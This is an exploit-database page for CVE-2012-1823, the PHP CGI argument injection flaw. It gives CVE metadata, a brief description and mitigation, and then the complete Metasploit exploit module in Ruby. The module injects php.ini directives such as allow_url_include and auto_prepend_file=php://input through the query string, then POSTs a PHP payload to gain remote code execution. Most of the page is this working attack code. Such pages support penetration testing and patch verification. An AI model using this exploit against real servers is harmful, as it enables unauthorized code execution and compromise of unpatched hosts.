header-logo
Suggest Exploit
vendor:
N/A
by:
egypt, hdm
N/A
CVSS
N/A
Argument Injection
94
CWE
Product Name: N/A
Affected Version From: 5.3.12
Affected Version To: 5.4.2
Patch Exists: YES
Related CWE: CVE-2012-1823
CPE: N/A
Metasploit: https://www.rapid7.com/db/vulnerabilities/oracle_linux-cve-2022-31631/https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2013-0686/https://www.rapid7.com/db/vulnerabilities/apple-osx-php-cve-2012-1823/https://www.rapid7.com/db/vulnerabilities/apple-osx-php-cve-2012-2311/https://www.rapid7.com/db/vulnerabilities/hpux-cve-2012-1823/https://www.rapid7.com/db/vulnerabilities/hpux-cve-2012-2311/https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2012-0568/https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2012-0569/https://www.rapid7.com/db/vulnerabilities/suse-cve-2012-2311/https://www.rapid7.com/db/vulnerabilities/amazon-linux-ami-alas-2012-77/https://www.rapid7.com/db/vulnerabilities/ubuntu-USN-1437-1/https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2012-0546/https://www.rapid7.com/db/vulnerabilities/apple-osx-note-cve-2012-1823/https://www.rapid7.com/db/vulnerabilities/freebsd-vid-59b68b1e-9c78-11e1-b5e0-000c299b62e1/https://www.rapid7.com/db/vulnerabilities/freebsd-vid-60de13d5-95f0-11e1-806a-001143cd36d8/https://www.rapid7.com/db/vulnerabilities/suse-cve-2012-1823/https://www.rapid7.com/db/vulnerabilities/suse-cve-2012-2336/https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2012-1823/https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2012-2336/https://www.rapid7.com/db/vulnerabilities/hpsmh-cve-2012-2311/https://www.rapid7.com/db/?q=CVE-2012-1823&type=&page=2https://www.rapid7.com/db/?q=CVE-2012-1823&type=&page=2
Other Scripts: N/A
Tags: cve2012,kev,vulhub,rce,php,cve
CVSS Metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
Nuclei Metadata: {'max-request': 1, 'vendor': 'php', 'product': 'php'}
Platforms Tested: PHP
2012

PHP CGI Argument Injection

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.

Mitigation:

No unescaped '=' in the query string
Source

Exploit-DB raw data:

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PHP CGI Argument Injection',
			'Description'    => %q{
				When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
				an argument injection vulnerability.  This module takes advantage of
				the -d flag to set php.ini directives to achieve code execution.
				From the advisory: "if there is NO unescaped '=' in the query string,
				the string is split on '+' (encoded space) characters, urldecoded,
				passed to a function that escapes shell metacharacters (the "encoded in
				a system-defined manner" from the RFC) and then passes them to the CGI
				binary."
			},
			'Author'         => [ 'egypt', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => [
					[ "CVE"	, "2012-1823" ],
					[ "URL"	, "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					# Arbitrary big number. The payload gets sent as an HTTP
					# response body, so really it's unlimited
					'Space'       => 262144, # 256k
				},
			'DisclosureDate' => 'May 03 2012',
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0))

		register_options([
			OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
			], self.class)
	end

	# php-cgi -h
	# ...
	#   -s               Display colour syntax highlighted source.
	def check
		uri = target_uri.path

		uri.gsub!(/\?.*/, "")

		print_status("Checking uri #{uri}")

		response = send_request_raw({ 'uri' => uri })

		if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
			print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
			return Exploit::CheckCode::Unknown
		end

		response = send_request_raw({ 'uri' => uri + '?-s'})
		if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
			return Exploit::CheckCode::Vulnerable
		end

		print_error("Server responded indicating it was not vulnerable")
		return Exploit::CheckCode::Safe
	end

	def exploit
		begin
			args = [
				"-d+allow_url_include%3d#{rand_php_ini_true}",
				"-d+safe_mode%3d#{rand_php_ini_false}",
				"-d+suhosin.simulation%3d#{rand_php_ini_true}",
				"-d+disable_functions%3d%22%22",
				"-d+open_basedir%3dnone",
				"-d+auto_prepend_file%3dphp://input",
				"-n"
			]

			qs = args.join("+")
			uri = "#{target_uri}?#{qs}"

			# Has to be all on one line, so gsub out the comments and the newlines
			payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
			response = send_request_cgi( {
				'method' => "POST",
				'global' => true,
				'uri'    => uri,
				'data'   => payload_oneline,
			}, 0.5)
			handler

		rescue ::Interrupt
			raise $!
		rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
			print_error("The target service unreachable")
		rescue ::OpenSSL::SSL::SSLError
			print_error("The target failed to negotiate SSL, is this really an SSL service?")
		end

	end

	def rand_php_ini_false
		Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
	end

	def rand_php_ini_true
		Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
	end

end